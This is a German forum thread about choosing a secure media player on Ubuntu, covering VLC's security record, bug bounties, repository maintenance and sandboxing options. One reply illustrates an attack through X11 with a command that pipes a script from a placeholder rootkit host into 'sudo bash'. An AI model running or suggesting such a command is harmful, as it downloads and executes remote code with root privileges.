Forum: PC Hard- und Software Sicherer Medienplayer für Linux


von Mike (Gast)


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Hi zusammen,

ich hatte bis vor kurzem Windows und erinnere mich noch gut daran, dass 
der VLC MediaPlayer ständig wegen Sicherheitslücken erwähnt wurde. 
Erinnerte mich von der Häufigkeit her irgendwie an den Adobe Flash 
Player. Jetzt suche ich für Linux (Ubuntu 18.04) einen Allrounder, der 
die meisten gängigen Formate abspielen kann. Es geht nicht darum, jedes 
noch so exotische Format abspielen zu können, sondern eher darum, dass 
man die allgemein üblichen Dateien (mal ne DVD vom Kumpel, mal 
Handyvideos von diversen Android oder Apple Phones, mal selbst 
geschnittene Videos auf Stick, etc.) mehrheitlich klaglos abgespielt 
bekommt.

Kann hier jemand etwas zur Medien-Abspiel-Situation unter Ubuntu sagen? 
Ich erinnere mich noch dunkel an irgendwelchen Lizenz-Mist wegen MPEG2 
unter Windwos.

Hole ich mir mit dem VLC unter Linux wie unter Windows ständig 
Sicherheitslücken ins Haus?

Vielen Dank und herzliche Grüße
Mike

von W. (Gast)


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Ich nutze mpv. Ob der mehr oder weniger sicher als VLC ist, kann ich Dir 
aber nicht sagen.

von Ingo W. (uebrig) Benutzerseite


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Wirklich relevant ist dieses Thema nur, wenn Dateien aus zweifelhaften 
Quellen abgespielt werden müssen. Dann darf der Medienspieler sich nicht 
durch absichtliche Manipulationen aufs Kreuz legen lassen. Wenn dieses 
Thema nicht relevant ist, würde ich mir darüber wenig Sorgen machen.
Selbst nutze ich den VLC schon seit gefühlten Ewigkeiten. Selbst mit 
Aufzeichnungen aus DVBT/DVBS gab es seltener Probleme (bei 
Empfangsproblemen muss man dort immer mal mit Übertragungsfehlern 
rechnen) als bei anderen Abspielprogrammen.

von DPA (Gast)


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Klar gibt es noch anderes, wie z.B. mpv, mplayer, etc. Teils verwenden 
die aber die gleichen Libraries.

Ansonsten gibt es noch diverse wege, wie man Programme besser 
sandboxen/abschotten kann. z.B. mit namespaces, cgroups, seccomp, LSMs 
(selinux,apparmor,smack,...), etc. Dafür gibt es dann auch diverse 
tools, wie z.B. minijail, firejail, unshare, etc. Es kommt halt ganz 
drauf an, wegen welche szenarien man sich schützen will, und worauf man 
dem Programm zugriff geben will. Die tools sind für meinen geschmack in 
der Regel aber etwas zu permissiv. Vielleicht schreib ich mir auch mal 
eins, bei dem das Programm dann per default garnichts sieht oder so.

von T.roll (Gast)


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mplayer + grafische Oberfläche GMPlayer. Kann jeden Dreck abspielen und 
ist sehr zuverlässig.

sudo apt-get install gnome-mplayer

von Nano (Gast)


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Mike schrieb:

> ich hatte bis vor kurzem Windows und erinnere mich noch gut daran, dass
> der VLC MediaPlayer ständig wegen Sicherheitslücken erwähnt wurde.

Das ist etwas gutes und nichts schlechtes. Eine Software, die viele CVE 
Sicherheitsmeldungen hat bedeutet, dass die Software gut gepflegt wird 
und sich die Entwickler auch ernsthaft um die Sicherheitslücke kümmern 
und diese als solche (CVE Meldung) auch publizieren, anstatt einfach 
unter den Teppich zu kehren und nicht zu fixen.

Die Anzahl der CVE Meldungen bzw. gemeldeten Sicherheitslücken sagt 
somit nichts über die Qualität der Software aus, sondern über die 
Qualität des Support.
Sehr vorsichtig muss man also bei Software sein, die kaum gemeldete 
Sicherheitslücken haben, da könnten hunderte Sicherheitslücken drin 
stecken und keiner, außer die, die sie ausnutzen wollen, erfährt davon.

Das Sicherheitslücken bei solchen Projekten vorkommen können, ist ganz 
normal. Bei Browsern kommt das übrigens noch häufiger vor, aber nicht 
bei jedem Browser wird dieses Problem entsprechend auch kommuniziert wie 
man es von einem verantwortungsbewussten Softwareentwickler erwarten 
würde.


> Erinnerte mich von der Häufigkeit her irgendwie an den Adobe Flash
> Player.

Der Flashplayer war aus ganz anderen Gründen unbeliebt, die 
Sicherheitslücken wurden lediglich von Laien als Grund vorgeschoben.
Das Problem von dem war eher, dass er im Internet ein unbeliebter 
Fremdkörper war und dass er leicht Sicherheitslücken enthalten konnte, 
die man für einen Angriff ausnutzen hätte können, lag in seiner 
exponierten Natur, die er auch mit bspw. Browsern teilt.

> Jetzt suche ich für Linux (Ubuntu 18.04) einen Allrounder, der
> die meisten gängigen Formate abspielen kann.

Nimm VLC.
Der wird am besten gepflegt.
Auch noch okay wäre mplayer, aber das ist ein reiner 
Kommandozeilenplayer. Es gibt für diesen zwar GUIs, aber die 
funktionieren mehr schlecht als recht.

Als Teil des Gnome Projekt gibt es ansonsten noch Totem, aber sicherer 
als VLC ist der auch nicht.
Viele dieser Videoplayer teilen sich übrigens die darunterliegenden 
Codec Bibliotheken.

Die Sicherheit erhöhen kannst du, in dem den Videoplayer in einer 
Sandbox oder als extra Benutzer ohne viele Rechte laufen lässt. Unter 
Linux gibt es da einige Möglichkeiten.

Softwaretechnisch könnte nur ein Videoplayer, der in einer 
Programmiersprache geschrieben wird, die allein schon mehr Sicherheit 
erzwingt, für mehr Sicherheit sorgen.
Also bspw. einer der in der Programmiersprache Rust geschrieben wurde, 
aber diesbezüglich ist mir noch keiner bekannt und da die ganzen Codecs, 
auf die diese Videoplayer zugreifen, immer noch die Programmiersprache C 
als Programmiersprache verwenden, ist der Sicherheitsgewinn auf die 
Codebestandteile beschränkt, die auch in Rust oder vergleichbaren 
Sprache geschrieben wurden.


> Kann hier jemand etwas zur Medien-Abspiel-Situation unter Ubuntu sagen?
> Ich erinnere mich noch dunkel an irgendwelchen Lizenz-Mist wegen MPEG2
> unter Windwos.

MPEG 2 ist nicht das Problem.
Viele DVDs haben den Content Scramble System (CSS) Abspielschutz. Die 
Umgehung dieses Abspielschutzes ist in Deutschland so ne rechtliche 
Sache, das ist das Problem.

In anderen Ländern, in denen es bezüglich dem CSS Abspielschutz kein 
rechtliches Problem gibt, installiert man die Bibliothek libdvdcss und 
kann dann dort die DVDs damit ansehen.

Bei BluRays nimmt man in solchen Ländern die libaacs und libbluray 
Bibliothek, in Deutschland darf man das nicht.

Die Entwicklung dieser Bibliotheken wird von der Videolan Organization 
durchgeführt, die auch VLC entwickelt haben.


> Hole ich mir mit dem VLC unter Linux wie unter Windows ständig
> Sicherheitslücken ins Haus?

Jede Software kann Sicherheitslücken enthalten, die Gefahr ist 
allerdings auch davon abhängig, wie man die Software nutzt und wie man 
die Software nutzen kann.
Eine netzwerkfähige Software ist bspw. dem Internet gegenüber exponiert, 
wenn diese Verbindungen mit fremden Rechnern aus dem Internet aufbaut 
oder auf Verbindungen mit solchen Rechnern wartet.
Eine Software die das nicht tut, kann zwar auch eine Sicherheitslücke 
enthalten, aber dafür braucht man dann schon lokalen Zugang um sie zu 
auszunutzen.

Für VLC bedeutet das also, wenn du VLC nicht zum Internetstreaming 
verwendest und auch nicht damit Mediadateien aus dubiosen Quellen aus 
dem Internet abspielst, dann ist die Nutzung von VLC eine sehr sichere 
Angelegenheit.
VLC kann allerdings im Internet noch Albumcover und Titelnamen für CDs 
aus entsprechenden CDDA Datenbanken nachladen, dies kann man allerdings 
auch abschalten, wenn man befürchtet, dass von diesen eine Gefahr 
ausgehen könnte.


Bedenke bitte auch, auf VLC werden von der EU Bug Bountys 
ausgeschrieben. D.h. Leute, die in VLC Sicherheitslücken finden und 
melden und an dem Bug Bountry Programm teilnehmen, bekommen von der EU 
Geld.
Dies soll ein Ansporn für Entwickler sein, VLC sicherer zu machen.
Für andere Videoplayer gibt es kein derartiges Bug Bounty Programm 
seitens der EU, entsprechend gering ist somit das Interesse, dass da 
jemand nach Sicherheitslücken sucht, vorhanden können Sicherheitslücken 
aber dennoch sein, die Frage ist immer, ob sie jemand entdeckt und 
ausnutzt oder stopft.
Siehe dazu auch:
https://juliareda.eu/2018/12/eu-fossa-bug-bounties/

Insofern kannst du ganz beruhigt bei VLC bleiben.
Du musst einfach nur dafür sorgen, dass deine Distribution aktuell 
gehalten wird und eine Distribution verwenden, die dafür sorgt, dass die 
Pakete auch wirklich aktualisiert werden, wenn Sicherheitslücken 
gemeldet wurden.

Bei Ubuntu ist das leider für Pakete aus dem multiverse und universe 
Repository nicht gewährleistet, daher wäre ein Wechsel zu einer anderen 
Distribution, z.B. Debian stable ratsam, wenn man Programme bzw. Pakete 
verwenden will, die aus diesen Repositories installiert werden.
VLC ist bspw. so ein Paket, das aus universe in Ubuntu versorgt wird.
Canonical kümmert sich offiziell also nicht um Sicherheitslücken bei 
vlc, das wird der allein der Community überlassen.

Allerdings wird der Videoplayer totem von Canonical offiziell supported, 
dessen Paket kommt nämlich aus dem main Zweig. Speziell im Fall von 
Ubuntu wäre also der Wechsel zu totem ratsam.
Da man aber oftmals noch dutzende andere Pakete installiert, die sich 
nicht im main Repository befinden, z.B. Gimp oder KDE (beide befinden 
sich in universe), wäre ein Wechsel zu einer anderen Distribution, wie 
bspw. Debian stable meiner Meinung nach sinnvoller.

von Hannes J. (Firma: _⌨_) (pnuebergang)


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Nano schrieb:
> Der Flashplayer war aus ganz anderen Gründen unbeliebt, die
> Sicherheitslücken wurden lediglich von Laien als Grund vorgeschoben.

Nee, ganz so war es nicht. Der war schon schlecht. Diverse Fehler kamen 
immer wieder. Adobe hat den von Billigprogrammierern zusammenstückeln 
lassen und war unwillig Geld in die Hand zu nehmen um das Code-Chaos 
aufzuräumen. Der wurde im Laufe der Jahre einfach nicht besser.

Mit viel Macht kommt viel Verantwortung. Die Verantwortung wollte Adobe 
nicht wahrnehmen.

> Die Sicherheit erhöhen kannst du, in dem den Videoplayer in einer
> Sandbox oder als extra Benutzer ohne viele Rechte laufen lässt. Unter
> Linux gibt es da einige Möglichkeiten.

Wenn du es richtig wie ein Hipster machen willst, die moderne Sandbox 
ist ein Docker-Container. Also wenn man Angst hat ab in einen Container 
mit dem VLC.

> Also bspw. einer der in der Programmiersprache Rust geschrieben wurde,

Dies war der Werbeblock ...

von Un-Docker (Gast)


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Hannes J. schrieb:
> die moderne Sandbox ist ein Docker-Container.

Wie war das mit den letzten Docker-Bugs? Ein unprivilegierter Prozess in 
einem unprivilegiertem Docker-Container hat Vollzugriff mit Root-Rechten 
auf das Host-Dateisystem?
Macht's nicht unbedingt sicherer...


Dann: Docker-Container, die man sich von Dockerhub o.Ä. zieht haben 
meistens unsichere, veraltete Software mit an Bord, wenn nicht gar 
gleich Backdoors... Da traue ich dem Maintainer-Prozessen von Debian 
schon mehr, als "jeder mit einem Github-Account ist 100% 
vertrauenswürdig"...


Schließlich: Der Videoplayer im Docker-Container braucht Zugang zu 
deinem X11-Server. Damit kann ein Angreifer in deinem Container deinen 
Bildschirm sehen, deine Tasteneingaben mitlesen, selber 
Tasteingaben-Events einschleusen, Mausklicks simulieren usw.
d.H. das 'curl http://boeses-rootkit.1337/shell.sh | sudo bash' ist da 
genauso schnell ausgeführt, je nach Angriffsvektor im Medienplayer merkt 
der Angreifer noch nichtmal, dass er eigentlich in einer Sandbox stehen 
sollte.



Fazit: Docker ist schick zum Software-Deployment, aber als 
Sicherheits-Feature am Desktop braucht man es nicht zu verkaufen...


--> installier dir den vlc aus den Distro-Paktetquellen (oder dem 
offiziellen PPA 
https://launchpad.net/~videolan/+archive/ubuntu/stable-daily) und halte 
dein System aktuell.

von Nano (Gast)


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Hannes J. schrieb:
> Nano schrieb:
>> Der Flashplayer war aus ganz anderen Gründen unbeliebt, die
>> Sicherheitslücken wurden lediglich von Laien als Grund vorgeschoben.
>
> Nee, ganz so war es nicht. Der war schon schlecht. Diverse Fehler kamen
> immer wieder. Adobe hat den von Billigprogrammierern zusammenstückeln
> lassen und war unwillig Geld in die Hand zu nehmen um das Code-Chaos
> aufzuräumen. Der wurde im Laufe der Jahre einfach nicht besser.

Ja, ein schlechtes Qualitätsmanagement kann es natürlich auch sein. 
Dennoch ist es halt in der Natur seiner Sache, dass er für Angriffe 
recht exponiert war und durch seine Skriptingfähigkeiten auch 
entsprechend ausgenutzt werden konnte.
Javascript fähige Browser sind da nicht viel besser, da gibt's hunderte 
entdeckter Sicherheitslücken pro Jahr.
Das Javascript nicht genauso unbeliebt ist, liegt daran, weil es ein 
offener Internet Standard ist und von Webentwicklern als solcher auch 
gewollt ist.

Übrigens ganz so nebenbei bemerkt ist das auch ein Grund, warum Mozilla 
die Programmiersprache Rust entwickelte und den Code von Firefox nach 
und nach auf Rust umstellt bzw. in Rust neu schreibt.


> Mit viel Macht kommt viel Verantwortung. Die Verantwortung wollte Adobe
> nicht wahrnehmen.

Kann sein, sie könnten aber auch überfordert gewesen sein. Siehe der 
Verweis auf die Browserhersteller, da ist es nicht viel anders.

>
>> Also bspw. einer der in der Programmiersprache Rust geschrieben wurde,
>
> Dies war der Werbeblock ...

:)
Rust erzwingt sicheres Programmieren, bei C und C++ ist es ein kann, 
aber kein muss und ein Großteil der Programmierer überschätzt sich 
selbst oder macht Fehler.

Selbst in gestandenen und bekannten Projekten von erfahrenen C und C++ 
Programmieren werden regelmäßig noch Sicherheitslücken gefunden, wie das 
Bug Bounty Programm der EU zeigt.

Hier mal bspw. die Lücken, die man in putty durch das Bug Bounty 
Programm gefunden hat:
https://hackerone.com/putty_h1c/hacktivity?order_direction=DESC&order_field=popular&filter=type%3Aall

Putty ist in C geschrieben:
https://git.tartarus.org/?p=simon/putty.git;a=tree

Viele der Probleme wären mit einer Programmiersprache Rust vermeidbar.

von Dr. Sommer (Gast)


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Mit SELinux müsste sich da was machen lassen, à la:

"Normale" Programme (Kontexte) dürfen nach ~/Videos nur schreiben, nicht 
lesen.
Der VLC wird per Transition Rule direkt in einen eigenen Kontext 
eingetütet. Dieser darf ausschließlich von ~/Videos lesen, sonst 
nirgendwo, und auch nirgendwo hin schreiben und auch keine Sockets 
öffnen und keine weiteren Transitions durchführen.
Ein per Virus übernommener VLC kann also nichts anderes angreifen und 
auch keine sensiblen Daten lesen.

Probleme die es dabei noch gibt:
- Man kann "normale" Programme nicht daran hindern, sensible 
Informationen (nicht nur Videos) nach ~/Videos zu speichern
- Der VLC muss notwendigerweise mit dem X-Server und OpenGL-Treiber 
kommunizieren. Diese kann man eventuell übernehmen. Über den X-Server 
lassen sich Tastendrücke und Bildschirminhalt abgreifen.

von Nano (Gast)


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Dr. Sommer schrieb:
> - Der VLC muss notwendigerweise mit dem X-Server und OpenGL-Treiber
> kommunizieren. Diese kann man eventuell übernehmen. Über den X-Server
> lassen sich Tastendrücke und Bildschirminhalt abgreifen.

Dieses Problem wäre mit Wayland lösbar.

von DPA (Gast)


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Dr. Sommer schrieb:
> - Der VLC muss notwendigerweise mit dem X-Server und OpenGL-Treiber
> kommunizieren. Diese kann man eventuell übernehmen. Über den X-Server
> lassen sich Tastendrücke und Bildschirminhalt abgreifen.

Es gibt da anscheinend ne security extension:
https://www.reddit.com/r/openbsd/comments/b87h60/x11_isolation_between_windows/ejwycdq/

Da muss man den Socket halt mit nem cookie mit der enabled in die 
Sandbox packen.

von Hannes J. (Firma: _⌨_) (pnuebergang)


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Un-Docker schrieb:
> Hannes J. schrieb:
>> die moderne Sandbox ist ein Docker-Container.
>
> Wie war das mit den letzten Docker-Bugs?

Da ist meine Ironie mit Hipster-Docker nicht verstanden worden.

Die ganzen "Lösungen" mit Sandbox leiden unter den gleichen Problemen. 
Aus Sandboxen wird schon mal ausgebrochen, Zugriff aufs GUI nötig, 
Zugriff auf Audio nötig, ... Warum also Docker?

Der TS mach ein Fass wegen einer gut gepflegten Software, VLC, auf. 
Warum? Das gleiche Fass könnte er beim Windows Media Player oder Groove 
auf machen. Also nochmal, warum VLC? Entweder:

>> wenn man Angst hat

Dann reicht eine kräftige Beruhigungspille ala Hipster-Docker "das 
modernste, beste, super tolle Zeug, das muss doch helfen".

Oder er macht das Fass als Troll auf "Linux ist scheiße". Dann hat er 
Hipster-Docker erst recht verdient.

von Heinzelfrau (Gast)


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Mike schrieb:

> Hole ich mir mit dem VLC unter Linux wie unter Windows ständig
> Sicherheitslücken ins Haus?
Ja.
Lass doch den Player auf Hardware laufen, die keinen oder stark 
abgesicherten  Zugriff auf sensible Daten oder Netzwerke hat. (RasPi, 
ChromeCast)

von Alex (Gast)


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Wow, endlich mal ein Thread ohne Getrolle wo auch auf die gestellte 
Frage eingegangen wird. Das habe ich so in diesem Forum seit vielen 
Jahren nicht mehr gesehen!

von DPA (Gast)


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Hannes J. schrieb:
> Die ganzen "Lösungen" mit Sandbox leiden unter den gleichen Problemen.
> Aus Sandboxen wird schon mal ausgebrochen, Zugriff aufs GUI nötig,
> Zugriff auf Audio nötig, ... Warum also Docker?

Es ist nicht einfach, aus containern auszubrechen. Malware wird das 
vermutlich meist nicht versuchen, weil das nicht viele darin laufen 
lassen. Zudem ist es schwieriger, ganze 2 exploits für 2 Progremmen zu 
finden, als nur einen für eins. Zudem sind Container schon lange ohne 
Root erstellbar, ein Exploit der Root erlangt ist dann nicht möglich. 
Dass es bei docker möglich war, zeigt nur, dass docker unsicher 
aufgebaut ist. Sowas darf nicht als root laufen, und wenn es das nicht 
tut, bekommt man auch kein root.

von Sven B. (scummos)


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DPA schrieb:
> Hannes J. schrieb:
>> Die ganzen "Lösungen" mit Sandbox leiden unter den gleichen Problemen.
>> Aus Sandboxen wird schon mal ausgebrochen, Zugriff aufs GUI nötig,
>> Zugriff auf Audio nötig, ... Warum also Docker?
>
> Es ist nicht einfach, aus containern auszubrechen. Malware wird das
> vermutlich meist nicht versuchen, weil das nicht viele darin laufen
> lassen. Zudem ist es schwieriger, ganze 2 exploits für 2 Progremmen zu
> finden, als nur einen für eins.

Ja, das ist moderne Security: Jedes Layer ist kaputt, deshalb stapelt 
man einfach 15 Stück übereinander und sagt "ach, das sind so viele, da 
werden ja wohl kaum alle kaputt gehen!" ;)

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